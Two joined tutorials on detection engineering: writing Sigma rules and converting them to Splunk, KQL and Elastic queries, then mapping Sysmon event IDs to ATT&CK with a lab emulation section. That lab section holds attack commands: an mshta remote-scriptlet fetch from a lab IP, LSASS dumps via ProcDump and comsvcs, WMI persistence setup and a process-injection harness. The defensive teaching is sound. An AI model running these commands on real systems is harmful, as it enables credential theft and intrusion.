Introduction to Sigma: Rule Syntax, Backends, and Converting Rules to SIEM Queries

Two analysts spot the same suspicious behavior: PowerShell launched with -EncodedCommand. One runs Splunk, the other runs Sentinel. Without a shared format, each rewrites the same logic in a different query language, and neither can hand the detection to the third team on Elastic. That duplication is the exact problem Sigma solves. Write the detection once, in YAML, then compile it down to whatever SIEM the target environment happens to run.

Objective: Learn to read, write, validate, and convert Sigma rules into live SIEM queries (Splunk SPL, KQL, Elastic Lucene) using the modern sigma-cli and pySigma toolchain, and map every rule cleanly to MITRE ATT&CK for purple-team work.


1. What Is Sigma and Why It Matters

Sigma is a generic, open signature format that describes log-event detections in plain YAML. The canonical analogy holds up well: Sigma is for log files what Snort is for network traffic and YARA is for files. You author one vendor-agnostic rule, share it, and let a backend translate it into a SIEM-native query.

A quick history helps frame the tooling. Sigma appeared publicly at Hack.lu in 2017, matured through the v1.x line with the old sigmac converter, and then the whole conversion engine was rewritten as pySigma. In August 2024 the specification jumped to v2.0, adding new fields, new modifiers, and a formal correlation capability for multi-event detections.

One opinion up front, because it saves you grief: Sigma’s value is not the YAML, it is the portability. Teams over-invest in perfectly clever rules and under-invest in reading the generated query before they ship it. Always read the compiled output. The rule that looks correct in YAML can compile into something that matches nothing.


2. Anatomy of a Sigma Rule

Every rule is a YAML document with a fixed set of top-level keys. Only title, logsource, and detection are strictly required to convert, but production rules carry the full metadata block so they are searchable, attributable, and mappable to ATT&CK.

FieldRole
titleBrief description of what the rule detects (max 256 characters).
idGlobally unique identifier, a randomly generated UUID version 4.
statusLifecycle state: stable, test, experimental, deprecated, unsupported.
descriptionLonger explanation of the detection.
authorRule author(s).
dateCreation or last-modified date.
tagsCategorization, including ATT&CK tags (attack.tXXXX).
levelSeverity: informational, low, medium, high, critical.
logsourceWhat log data the rule targets.
detectionNamed selection groups plus a condition.
falsepositivesKnown benign triggers.
referencesExternal links.

Generate the id correctly. Do not copy one from another rule.

python -c "import uuid; print(uuid.uuid4())"

Illustration of a Sigma rule document divided into metadata, logsource, and detection sections
A Sigma rule is a structured YAML document where every section – metadata, logsource, and detection – plays a distinct role in producing a portable detection.

3. The logsource Section In Depth

The logsource section tells the backend which slice of log data to search rather than scanning every index. It splits into three fields:

  • category describes a class of products (process_creation, webserver, firewall, edr).
  • product describes a specific product (windows, linux, cisco).
  • service describes a service inside a product (security, sysmon, powershell, kerberos).

The backend and its pipeline turn that abstract logsource into concrete index routing and field names. This is where the vendor-agnostic promise becomes real: category: process_creation + product: windows can compile against Sysmon Event ID 1 on one stack and Security Event ID 4688 on another, with no change to your rule.

Logsource CombinationWindows Log Source
category: process_creation + product: windowsSysmon Event ID 1 / Security Event ID 4688
product: windows + service: securityWindows Security log
product: windows + service: sysmonSysmon operational log
product: windows + service: powershellPowerShell operational log (4103/4104)

4. Detection Logic: Selections, Conditions, and Boolean Operators

The detection block holds one or more named selection groups and a condition that combines them. Sigma expresses Boolean logic through YAML structure itself:

  • A YAML list (- value1, - value2) is an OR.
  • A YAML dictionary (multiple Field: value keys) is an AND.
detection:
  selection_img:
    Image|endswith:
      - '\powershell.exe'   # OR
      - '\pwsh.exe'
  selection_flag:
    CommandLine|contains: '-EncodedCommand'
  condition: selection_img and selection_flag

Inside selection_img, the two list values are ORed. Across selection_img and selection_flag, the condition ANDs them. The condition field supports the operators you need for real detections:

Condition ExpressionMeaning
selection and not filterMatch selection, exclude filter (tuning).
1 of selection*Any selection group whose name starts with selection.
all of selection*Every matching selection group must fire.
1 of themAny defined selection group.
all of themEvery defined selection group.

The not filter idiom is your primary false-positive lever. Build the malicious pattern in selection, then carve out known-good parents and paths in a filter group and subtract it: selection and not filter.


Flow diagram showing how Sigma OR logic within selection groups combines via AND in the condition to produce a detection match
YAML lists produce OR logic within each selection group; the condition ANDs those groups together to fire the final alert.

5. Field Modifiers Deep Dive

Modifiers transform how a field’s value is matched. Chain them with the pipe character: FieldName|modifier1|modifier2: value. This is where Sigma gets expressive.

ModifierEffect
containsWraps value in * wildcards, matches anywhere in the field.
startswithValue must appear at the start of the field.
endswithValue must appear at the end of the field.
allChanges a value list from OR to AND.
reApplies a regular-expression match.
casedCase-sensitive match (Sigma defaults to case-insensitive).
existsBoolean check that a field is present or absent, ignoring value.
cidrMatches an IP against a CIDR range.
windashGenerates permutations of hyphen, forward slash, and Unicode dash variants for command-line flags.
base64, base64offsetBase64-encodes the value before matching.
utf16le, utf16be, wideCharacter-encoding transforms.
lt, lte, gt, gteNumeric comparisons.

Two chaining rules matter, and both bit me once:

First, startswith, endswith, and contains must not be followed by base64 or base64offset. The encoder will happily encode the wildcards too, silently destroying their meaning. I once shipped CommandLine|contains|base64 and the rule matched nothing for a week before I diffed the converted query and saw the wildcards baked into the Base64 blob.

Second, a chain must not end on a character-set encoding modifier (utf16, utf16le, utf16be, wide), because the resulting byte sequences contain null characters that most query languages cannot represent cleanly. Encode, then convert, then match.

The windash modifier deserves a callout for command-line detections. Windows treats -enc, /enc, and several Unicode dash characters as the same flag. CommandLine|windash|contains: '-EncodedCommand' expands to catch every variant an attacker might use to dodge a naive -EncodedCommand string match.


6. The sigma-cli Toolchain and pySigma Architecture

Ignore sigmac. The legacy toolchain is unmaintained and was replaced by pySigma (the library) and sigma-cli (the command-line tool). pySigma parses and converts rules; it stays deliberately slim by pushing SIEM-specific logic into separate backend and pipeline plugins.

  • Backends are the drivers that emit a specific query language.
  • Pipelines apply environment-specific transforms: field mapping, logsource mapping, index routing.

Python 3.10 or later is required.

pip install sigma-cli
sigma list backends
sigma list pipelines
sigma plugin list

Backends install individually as plugins so you only pull what you need:

Backend PackageTarget Language / SIEM
pysigma-backend-splunkSplunk SPL
pysigma-backend-elasticsearchElastic Lucene / EQL
pysigma-backend-microsoft365defenderKQL (Sentinel / Defender XDR)
pysigma-backend-qradar-aqlIBM QRadar AQL
pysigma-backend-opensearchOpenSearch

Package names occasionally shift between minor releases, so confirm the exact target name with sigma list backends after install before you script anything around it.


7. Lab: From TTP to Telemetry

The lab target is a controlled Windows endpoint, not a CVE. The TTP is PowerShell encoded-command execution (T1059.001), a universally understood behavior that exercises the full Sigma workflow end to end. Run the offensive step only on your own lab VM.

Lab setup:

  • Analyst host: Kali or Windows with Python 3.10+, sigma-cli, and the backend plugins.
  • Victim VM: Windows 10/11 with Sysmon v15+ (SwiftOnSecurity or Olaf Hartong config).
  • Detection engine: Splunk Free locally, a Sentinel trial, or offline with Zircolite against exported EVTX.

Step 1: Generate telemetry on the lab VM

# Lab VM only - simulate an attacker's encoded PowerShell
$cmd = "Write-Output 'GenXCyber Lab - T1059.001 simulation'"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell.exe -EncodedCommand $encoded

This produces a Sysmon Event ID 1 with CommandLine containing -EncodedCommand and a Base64 blob.

Step 2: Export the EVTX

Export Microsoft-Windows-Sysmon/Operational from Event Viewer (or with wevtutil epl) for offline analysis.

Step 3: Write the rule

title: PowerShell Encoded Command Execution
id: 3b6a2f8e-4c1d-4a7e-b9f0-2e5c3d1a0f8b
status: test
description: Detects PowerShell invoked with the -EncodedCommand switch, a common
  technique used to obfuscate payload delivery.
author: GenXCyber Lab
date: 2024-01-01
tags:
  - attack.execution
  - attack.t1059.001
  - attack.defense_evasion
  - attack.t1027
references:
  - https://attack.mitre.org/techniques/T1059/001/
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_cli:
    CommandLine|windash|contains:
      - '-EncodedCommand'
      - '-EncodedC'
      - '-enc '
  condition: selection_img and selection_cli
falsepositives:
  - Legitimate administrative scripts using encoded commands
  - Software deployment tooling (SCCM, PDQ)
level: medium

Note the deliberate choices: |endswith anchors on the binary name so a parent-process path never triggers it; |windash|contains catches both -enc and /enc families; the two selection groups are ANDed; and the tags carry the correct sub-technique attack.t1059.001.

Step 4: Validate before converting

sigma check rules/powershell_encoded_command.yml

sigma check runs validators including logsource_valid (recognized logsource fields), field_name_condition_valid (condition references defined selections), and regex checks. Fix validation errors here, not after you have deployed a broken query.


8. Converting the Rule to SIEM Queries

The command structure is consistent across every target:

sigma convert -t <backend> -p <pipeline> [-p <pipeline2>] -f <format> <file_or_dir>

Splunk SPL

pip install pysigma-backend-splunk
sigma convert -t splunk -p splunk_windows_sysmon -f default rules/powershell_encoded_command.yml

Approximate output:

(Image IN ("*\\powershell.exe","*\\pwsh.exe") AND (CommandLine IN ("*-EncodedCommand*","*-EncodedC*","*-enc *") OR CommandLine IN ("*/EncodedCommand*","*/EncodedC*","*/enc *")))

The windash expansion is visible: the backend emitted both hyphen and slash variants for you.

KQL for Microsoft Sentinel / Defender XDR

pip install pysigma-backend-microsoft365defender
sigma convert -t microsoft365defender -p microsoft_365_defender rules/powershell_encoded_command.yml

Elastic Lucene

pip install pysigma-backend-elasticsearch
sigma convert -t elasticsearch -p ecs_windows -f lucene rules/powershell_encoded_command.yml

The pipeline is the load-bearing argument. ecs_windows maps Sigma’s abstract Image and CommandLine fields onto Elastic Common Schema (process.executable, process.command_line). Pick the wrong pipeline and the query compiles cleanly against field names your data does not have, matching nothing. Read the output every time.

Step 8b: Confirm offline with Zircolite

pip install zircolite
zircolite --evtx /path/to/Sysmon.evtx --ruleset rules/powershell_encoded_command.yml

Zircolite runs the Sigma rule directly against the EVTX you exported in Step 2, closing the loop: your generated telemetry should light up as a detection. Hayabusa and Chainsaw do the same job with native Sigma support and are worth having in the kit.


Flow diagram showing a Sigma YAML rule passing through the pySigma parser and a pipeline before being emitted as SPL, KQL, or Lucene queries by separate backends
sigma-cli feeds the rule through pySigma’s parser, applies a pipeline for field and index mapping, then dispatches to a SIEM-specific backend to emit the native query.

9. MITRE ATT&CK Tagging and Coverage Mapping

Tags are namespaced with the dot as separator, and the attack namespace maps rules to the ATT&CK framework. Get the format exactly right or Navigator integration breaks.

  • Technique: attack.t1059 (no leading zero padding for the four-digit ID).
  • Sub-technique: attack.t1059.001.
  • Tactic: attack.execution, attack.defense_evasion, attack.persistence.

Correct tags let you export a coverage layer into the ATT&CK Navigator and see, at a glance, which techniques your rule set actually covers versus the emulation plan you are running. That gap analysis is the whole point of purple teaming: run the adversary’s TTPs, then confirm which ones your Sigma rules caught and which slipped through untagged.

TechniqueMITRE IDDetection
Command and Scripting Interpreter: PowerShellT1059.001Sysmon EID 1 CommandLine with -EncodedCommand; PowerShell 4104
Obfuscated Files or InformationT1027Base64 blobs in command line; decoded script block content
Command ObfuscationT1027.010windash and encoding permutations in CommandLine
System Binary Proxy Execution: Rundll32T1218.011Sysmon EID 1 Image|endswith: \rundll32.exe
Impair Defenses: Disable/Modify ToolsT1562.001AMSI bypass strings; correlated 4104 events
Ingress Tool TransferT1105Network connection (EID 3) following encoded execution

Tooling glue is worth knowing: Atomic Threat Coverage automatically links Sigma rules to ATT&CK techniques, Atomic Red Team tests, and response playbooks, which makes an emulation-to-detection workflow far less manual.


10. Sigma Correlation Rules (v2.0)

A single encoded-PowerShell event is medium severity. Five of them from one host in five minutes is an incident. The v2.0 correlation specification links several events into more sophisticated detections. Four types exist:

Correlation TypeFires On
event_countNumber of matching events crosses a threshold.
value_countNumber of distinct field values crosses a threshold.
temporalMultiple different rules match within a timespan.
temporal_orderedMultiple rules match in a specified order within a timespan.

Here is a value_count-style correlation that references the base rule by its name and fires when one host racks up five or more encoded-command executions inside five minutes:

title: Repeated PowerShell Encoded Command Execution
name: ps_encoded_exec
type: correlation
rules:
  powershell_encoded: powershell_encoded_command   # references base rule by 'name'
group-by:
  - ComputerName
timespan: 5m
condition:
  gte: 5
level: high

Correlation support varies by backend. temporal_ordered in particular is not implemented everywhere yet, so verify your target backend handles the correlation type before you promise cross-SIEM coverage. Verify, do not assume.


11. Common Attacker Techniques This Workflow Catches

The encoded-command pattern is one instance of a broad family of command-line abuse that Sigma is unusually good at catching, because process-creation logs are rich and consistent.

TechniqueDescription
Encoded command executionpowershell -EncodedCommand <base64> to hide the payload string.
Download cradlesIEX (New-Object Net.WebClient).DownloadString(...) staged over HTTP.
AMSI bypassIn-memory patching of AmsiScanBuffer before running malicious script.
LOLBin proxy executionrundll32.exe, regsvr32.exe, mshta.exe running attacker code.
Constrained-mode evasionDowngrade or bypass of PowerShell Constrained Language Mode.

Each maps to at least one ATT&CK technique from section 9, and each is expressible as a Sigma selection over Image, CommandLine, and ParentImage.


12. Defensive Strategies & Detection

Sigma only catches what your logging exposes. Get the telemetry right first, then the rules have something to match.

Sysmon Event IDs

Event IDDescription
1Process Create (Image, CommandLine, ParentImage, Hashes, User).
3Network Connection.
7Image Loaded.
10Process Access.
11File Create.
13Registry value set.
22DNS Query.

Windows and ETW sources

  • Security Event ID 4688 for process creation, but only after enabling command-line capture.
  • PowerShell Operational log: Event ID 4104 (Script Block Logging, which records the decoded content) and 4103 (Module Logging).
  • ETW provider Microsoft-Windows-PowerShell (GUID {A0C1853B-5C40-4B15-8766-3CF1C58F985A}) backs the 4103/4104 events; Microsoft-Windows-Sysmon is {5770385F-C22A-43E0-BF4C-06F5698FFBD9}.

Hardening knobs

# Script Block Logging (Event ID 4104) - captures decoded PowerShell
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
  -Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWord -Force

# Command-line auditing for Security 4688
AuditPol /set /subcategory:"Process Creation" /success:enable

Also deploy Sysmon with a curated config and consider Constrained Language Mode in sensitive environments. Script Block Logging is the single highest-value control here because it defeats the encoding entirely: 4104 logs the decoded script, so the Base64 blob stops being a blind spot.

Sigma detection sketch (the deployable form)

title: PowerShell Encoded Command Execution
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_cli:
    CommandLine|windash|contains:
      - '-EncodedCommand'
      - '-enc '
  filter_legit:
    ParentImage|endswith: '\ccmexec.exe'   # SCCM known-good, tune per environment
  condition: selection_img and selection_cli and not filter_legit
level: medium

Start at level: medium and status: test. Promote to high and stable only after the filter_legit group has been tuned against a week of real data. Document every exclusion in the falsepositives field so the next analyst knows why it is there.


Illustration of layered defensive controls dissolving obfuscated PowerShell into visible plain text as it passes through each layer
Defense-in-depth – from Sysmon telemetry to Script Block Logging – strips away obfuscation at each layer so that encoded commands cannot hide from detection.

13. Tools for Sigma Analysis

ToolDescriptionLink
sigma-cliConvert, validate, and list backends/pipelinesgithub.com/SigmaHQ/sigma-cli
pySigmaConversion library underpinning sigma-cligithub.com/SigmaHQ/pySigma
ZircoliteStandalone Sigma engine for EVTX/JSON logsgithub.com/wagga40/Zircolite
HayabusaFast Windows EVTX Sigma scannergithub.com/Yamato-Security/hayabusa
ChainsawDFIR EVTX hunting with Sigma supportgithub.com/WithSecureLabs/chainsaw
SysmonRich Windows telemetry sourcelearn.microsoft.com/sysinternals
ATT&CK NavigatorCoverage-layer visualizationmitre-attack.github.io/attack-navigator
SigmaHQ rule repoCommunity rule baselinegithub.com/SigmaHQ/sigma

14. Summary

  • Sigma is the vendor-agnostic detection language: write once in YAML, compile to any SIEM query. It is to logs what Snort is to packets and YARA is to files.
  • Rule logic lives in logsource (what to search) and detection (named selections plus a condition), where YAML lists are OR and dictionaries are AND.
  • Modifiers like contains, endswith, and windash make rules precise; respect the chaining rules, especially never following contains with base64.
  • Use the modern sigma-cli and pySigma toolchain with per-target backends and pipelines. Ignore the unmaintained sigmac. Always read the compiled query before deploying.
  • Tag rules correctly (attack.t1059.001, attack.execution) so coverage maps into ATT&CK Navigator, and lean on v2.0 correlations plus Script Block Logging (Event ID 4104) to turn single events into real detections.

Related Tutorials

References

Sysmon Event Deep Dive: Mapping Event IDs to ATT&CK Techniques for Detection Coverage

You pull Security event 4688 during an incident and it tells you powershell.exe ran. Useful, barely. It won’t tell you that PowerShell was spawned by a Word macro, that it opened a socket to a VPS in another hemisphere, or that it cracked open lsass.exe with a 0x1410 access mask. That gap between “a process ran” and “here is exactly what it did” is the entire reason Sysmon earns a place on every endpoint you care about.

Objective: Build an exact, working map from every Sysmon Event ID (1 to 29) to the MITRE ATT&CK techniques it can surface, then validate that map in an isolated lab by firing real techniques and confirming the events actually appear. By the end you can audit your own deployment and state, with precision, what you detect and where you are blind.


1. Why Sysmon, Not Just 4688

Native Windows process auditing (Security EID 4688) is a coarse signal. Turn on command-line auditing and it improves, but you still miss the binary hash, the loaded modules, the network tuple, the registry writes, and the cross-process memory reads. Sysmon is a persistent service plus a device driver that logs to Microsoft-Windows-Sysmon/Operational and gives you all of it, correlated by a ProcessGuid that is unique across a domain.

Think of the two as parallel visibility paths. 4688 and Sysmon EID 1 both record process creation, but EID 1 carries CommandLine, ParentImage, ParentCommandLine, Hashes, IntegrityLevel, OriginalFileName, and CurrentDirectory. That richness is what turns a raw log line into a detection. The rest of this tutorial treats coverage gaps as the central problem: which ATT&CK techniques leave a fingerprint in Sysmon, and which slip past because the relevant event is disabled or was never designed to see them.


2. Architecture and the Configuration File

Sysmon runs as a protected process, which blocks a wide range of user-mode tampering. Its ETW provider GUID is {5770385F-C22A-43E0-BF4C-06F5698FFBD9} and everything lands in the Microsoft-Windows-Sysmon/Operational channel.

Configuration is an XML file. The root element declares a schemaversion, and here is a detail people trip over: older schemas still load in newer binaries, so you can upgrade sysmon64.exe without rewriting your config. Dump the schema the running binary supports before you touch anything:

# List every event, field, and filter operator the binary understands
.\sysmon64.exe -s

Two rules govern filtering. First, exclude always beats include – if a value matches both, it is excluded. Second, a RuleGroup can apply AND or OR across its child Rule elements. Give every rule a RuleName so the fired event carries a human label straight into your SIEM. HashAlgorithms controls which hashes get computed (SHA256 is the sane default), and CheckRevocation toggles signature revocation lookups on loaded images.

# Install with a curated config, then confirm events flow
.\Sysmon64.exe -accepteula -i sysmon-config.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 5

Start from a maintained baseline. SwiftOnSecurity’s config and Olaf Hartong’s sysmon-modular are the two the community actually runs. Do not ship the default config to production; several high-value events are off out of the box.


3. The Full Event ID Map (EID 1 to 29)

Here is the complete reference, current through Sysmon v15.2. Note which events are disabled by default, because a disabled event is a silent blind spot.

EIDNamePrimary ATT&CK Techniques
1Process CreateT1059.x, T1055, T1204, T1036, T1569.002, T1218
2File Creation Time ChangedT1070.006 (Timestomping)
3Network Connection (off by default)T1071, T1021, T1046
4Sysmon Service State ChangedT1562.001
5Process TerminatedTimeline correlation with EID 1
6Driver LoadedT1014, T1543.003, T1553.002
7Image Loaded (off by default, -l)T1574.001/.002, T1055.001
8CreateRemoteThreadT1055.003, T1055.002
9RawAccessReadT1003.001, T1006
10Process AccessT1003.001, T1055
11FileCreateT1105, T1547, T1036
12RegistryEvent (create/delete)T1547.001, T1112
13RegistryEvent (value set)T1547.001, T1112
14RegistryEvent (rename)T1112, T1036
15FileCreateStreamHashT1564.004 (NTFS ADS)
16Sysmon Config ChangedT1562.001
17Pipe CreatedT1559.001
18Pipe ConnectedT1559.001
19WmiEventFilterT1546.003
20WmiEventConsumerT1546.003
21WmiEventConsumerToFilterT1546.003
22DNS QueryT1071.004, T1568
23FileDelete (archived)T1070.004, T1036
24ClipboardChangeT1115
25Process TamperingT1055.012, T1036.005
26FileDeleteDetectedT1070.004
27FileBlockExecutableEnforcement, staging of T1105
28FileBlockShreddingT1485
29FileExecutableDetected (v15+)T1105, T1204

Hierarchy diagram grouping all 29 Sysmon Event IDs by their ATT&CK data source category
All 29 Sysmon Event IDs organised by ATT&CK data source – each leaf represents a detection pillar that can be independently enabled or tuned.

4. Process and Memory Events Up Close (EIDs 1, 8, 9, 10, 25)

These five carry the most detection weight per event. Event ID 1 alone contributes coverage for more ATT&CK techniques than any other Sysmon event, so it deserves the tightest config and the loudest alerts.

EID 10 (Process Access) is your LSASS tripwire. The field that matters is GrantedAccess. The canonical credential-dump masks are 0x1010 (PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION), 0x1410, and 0x1fffff for full access. Pair that with CallTrace: a legitimate reader shows named modules like ntdll.dll and kernel32.dll, while injected shellcode shows UNKNOWN frames because there is no backing module.

EID 8 (CreateRemoteThread) exposes classic injection. The tell is StartModule. When a thread’s start address sits in a private RWX allocation with no owning module, StartModule comes back blank. Blank plus a TargetImage of lsass.exe is about as high-signal as endpoint telemetry gets.

EID 25 (Process Tampering) is the quiet hero. Its Type field takes Image is replaced or Image is locked. An Image is replaced on a process you did not expect to self-modify is a near-perfect process-hollowing indicator, with almost no benign noise.

EID 9 (RawAccessRead) logs a process opening a volume directly via \\.\HarddiskVolume*, which is how tools bypass file locks to read SAM or NTDS. EID 5 (Process Terminated) is unglamorous but bounds the lifetime of every ProcessGuid, which is what lets you reconstruct a session timeline hours later.


Flow diagram showing how EIDs 1, 9, and 10 chain together to detect an LSASS credential dump attack
EIDs 1, 9, and 10 fire in sequence during an LSASS dump – the GrantedAccess mask and blank CallTrace frames are the definitive indicators.

5. Network, DNS, and Named Pipe Events (EIDs 3, 17, 18, 22)

EID 3 is disabled by default and, unfiltered, it is a firehose. Turn it on, then scope it hard: alert on outbound connections from processes that have no business talking to the network, like lsass.exe or a random svchost.exe reaching a non-Microsoft IP. Every connection is stitched to its process through ProcessId and ProcessGuid, and the event carries DestinationIp, DestinationPort, DestinationHostname, and Initiated.

EID 22 (DNS Query) captures QueryName, QueryResults, and QueryStatus per lookup, which is the single best cheap source for DNS-tunnelling C2. A burst of unique high-entropy subdomains returning NXDOMAIN (status 9003) from powershell.exe is a DGA/beacon pattern you can catch without decrypting a byte.

EIDs 17 and 18 (Pipe Created / Pipe Connected) are where you catch framework defaults. Cobalt Strike’s post-exploitation pipes and SMB beacon named pipes are notorious. Alert on PipeName matching known patterns:

PatternAssociated tooling
\postex_*Cobalt Strike post-exploitation
\msagent_*Cobalt Strike SMB beacon
\mojo.*Frequently spoofed to blend with Chrome
\wkssvc*Lateral movement / named-pipe impersonation

6. File, Registry, and WMI Persistence Events

Timestomping (T1070.006) surfaces in EID 2, which records both CreationUtcTime and the PreviousCreationUtcTime it overwrote. NTFS Alternate Data Streams (T1564.004) show up in EID 15 (FileCreateStreamHash): any TargetFilename with a : after the extension is an ADS write worth a look.

For deletion you choose your posture. EID 23 (FileDelete) archives a copy of the deleted file into the Sysmon archive directory, which is gold for forensics but costs disk. EID 26 (FileDeleteDetected) logs the delete without keeping a copy. Both map to T1070.004.

Registry autostart persistence (T1547.001) and generic registry tampering (T1112) split across EIDs 12, 13, and 14: object create/delete, value set, and rename respectively. Watch TargetObject for Run keys and service ImagePath writes.

The WMI subscription triad is its own detection story. A permanent WMI subscription needs three objects, and Sysmon logs each:

EIDObjectKey fields
19__EventFilterName, EventNamespace, Query
20EventConsumerName, Type, Destination
21__FilterToConsumerBindingConsumer, Filter

Seeing all three fire in quick succession inside root\subscription is the signature of T1546.003 persistence.


Conceptual illustration of three persistence mechanisms - file, registry, and WMI - as hidden hooks anchored to a system
File timestamps, registry run keys, and WMI subscription triads are the three pillars of stealthy persistence that Sysmon EIDs 2, 12-14, and 19-21 collectively expose.

7. Building the ATT&CK Coverage Matrix

ATT&CK v14+ models telemetry as data source to data component. Map each enabled EID into that layer and you can render coverage directly in ATT&CK Navigator (DeTT&CT automates the layer generation).

Data SourceData ComponentSysmon EIDs
ProcessProcess Creation1
ProcessProcess Termination5
ProcessProcess Access10
ProcessProcess Modification25
ProcessOS API Execution8, 9
Network TrafficNetwork Connection Creation3
DNSDNS Query Resolution22
FileFile Creation11, 15
FileFile Deletion23, 26
FileFile Modification2
ModuleModule Load7
DriverDriver Load6
Windows RegistryRegistry Key/Value12, 13, 14
WMIWMI Creation19, 20, 21
Named PipeNamed Pipe Creation/Connection17, 18
ClipboardClipboard Data Access24

The blind spots this exposes are the honest part. Purely in-memory techniques that touch no file, spawn no child, and open no socket (for example, reflective loading that reuses an existing thread) leave little for Sysmon to see. Those you push to ETWTI or a kernel-callback EDR, not Sysmon.


8. Adversary Emulation Lab: Fire the Events

Everything below runs against a self-owned, air-gapped range. Nothing here is aimed at a system you do not control.

Lab topology (host-only 192.168.56.0/24, no internet):
  ATTACKER: Kali Linux        192.168.56.10  (Metasploit, Atomic Red Team, Python)
  VICTIM:   Windows 10 22H2   192.168.56.20  (Sysmon v15 + Winlogbeat -> Elastic)
  DC:       Windows Server 2019 192.168.56.30 (optional)

The workflow for every technique is the same: run it, confirm the expected EID fires in Elastic, confirm a Sigma rule matches, record the result in your matrix.

Exercise 1 – EID 1: LOLBin Execution (T1218.005, mshta)

# VICTIM - benign simulation, no real payload retrieved
mshta.exe "javascript:a=(GetObject('script:http://192.168.56.10/test.sct')).Exec();close();"

Verify EID 1: Image ends with \mshta.exe, CommandLine contains javascript:, ParentImage is a shell, and Hashes matches the known-good SHA256 of mshta.

logsource:
  category: process_creation
  product: windows
detection:
  selection:
    EventID: 1
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'javascript:'
      - 'vbscript:'
  condition: selection

Exercise 2 – EID 10: LSASS Credential Access (T1003.001)

# VICTIM as local admin, lab only
# Method A: ProcDump (legitimate Sysinternals binary, self-owned target)
.\procdump64.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp

# Method B: comsvcs MiniDump LOLBin
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full

Verify EID 10: TargetImage ends with \lsass.exe, GrantedAccess is 0x1010, 0x1410, or 0x1fffff, SourceImage is the calling process, and CallTrace shows ntdll.dll or UNKNOWN frames.

logsource:
  category: process_access
  product: windows
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'
      - '0x1410'
      - '0x1fffff'
  condition: selection

Exercise 3 – EIDs 19/20/21: WMI Subscription Persistence (T1546.003)

# VICTIM - create the full permanent subscription triad
$FilterArgs = @{
  Name='TestFilter'; EventNameSpace='root\CIMv2'; QueryLanguage='WQL';
  Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Seconds=5"
}
$Filter   = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='TestConsumer'; CommandLineTemplate='C:\Windows\System32\calc.exe'}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter; Consumer=$Consumer}

Confirm EIDs 19, 20, and 21 all fire. Then clean up:

Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object Name -eq 'TestFilter' | Remove-WmiObject

Exercise 4 – EID 22: DNS Beaconing Pattern (T1071.004)

# VICTIM - 20 unique high-entropy subdomains, DGA/C2 shape
1..20 | ForEach-Object { Resolve-DnsName -Name "$([System.Guid]::NewGuid().ToString('N')).evil-lab.local" -ErrorAction SilentlyContinue }

Verify EID 22: Image is powershell.exe, QueryName shows random subdomains, QueryStatus is 9003 (NXDOMAIN). Note that the raw field is numeric; some pipelines translate 9003 to the string NXDOMAIN, which is what the Sigma below assumes.

logsource:
  category: dns_query
  product: windows
detection:
  selection:
    EventID: 22
    QueryStatus: 'NXDOMAIN'
  filter_legit:
    Image|startswith:
      - 'C:\Windows\System32\'
  condition: selection and not filter_legit

Exercise 5 – EID 8: CreateRemoteThread (T1055.003)

This harness injects into a notepad.exe you spawned yourself. The payload is a trap (NOP; NOP; INT3), not shellcode, so the only purpose is to make Sysmon fire.

// cl.exe /EHsc inject_test.c   (target_pid = a notepad.exe you launched)
HANDLE hProc  = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);
LPVOID pRemote = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
BYTE payload[] = { 0x90, 0x90, 0xCC };   // NOP sled + breakpoint trap
WriteProcessMemory(hProc, pRemote, payload, sizeof(payload), NULL);
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL);

Verify EID 8: SourceImage is your harness, TargetImage is notepad.exe, StartAddress lands in the RWX region, and StartModule is blank. Blank StartModule is the high-signal field.

Coverage gap loop

1. Invoke-AtomicTest T1003.001 -TestNumbers 1
2. Query Elastic/Splunk: did the expected EID fire?
3. No  -> config gap. Add or fix the Sysmon XML rule.
4. Yes -> does a Sigma rule match? Convert and backtest.
5. Record: EID -> ATT&CK technique -> Sigma rule -> last-validated date.

9. Writing and Converting Sigma Rules

Sigma is the vendor-neutral detection format. The logsource block has three sub-fields: category (process_creation, network_connection, dns_query, registry_event, file_event), product (windows), and service (sysmon). Get this wrong and your rule fires on the wrong log entirely.

The single most common mistake: convert a process_creation rule to your SIEM without the Sysmon pipeline and it targets 4688 instead of Sysmon EID 1. Always specify the pipeline.

# Convert to Splunk with the Sysmon pipeline so EID 1 is targeted, not 4688
sigma convert -t splunk -p sysmon lolbin_mshta.yml

# KQL / Microsoft Sentinel backend
sigma convert -t kusto -p sysmon lsass_access.yml

One more scoping trap: EID 1 and EID 3 both carry an Image field. explorer.exe in Image on a network event means something completely different from explorer.exe in Image on a process-creation event. Scope logsource correctly every time.


10. Tuning and Closing the Gaps

Signal and noise trade off per event. EIDs 3, 7, and 22 are the loudest; unfiltered they will drown your pipeline. Do not disable them, filter them. Exclude known-good signed processes from EID 7, exclude your patch and telemetry infrastructure from EID 3, and exclude first-party update domains from EID 22.

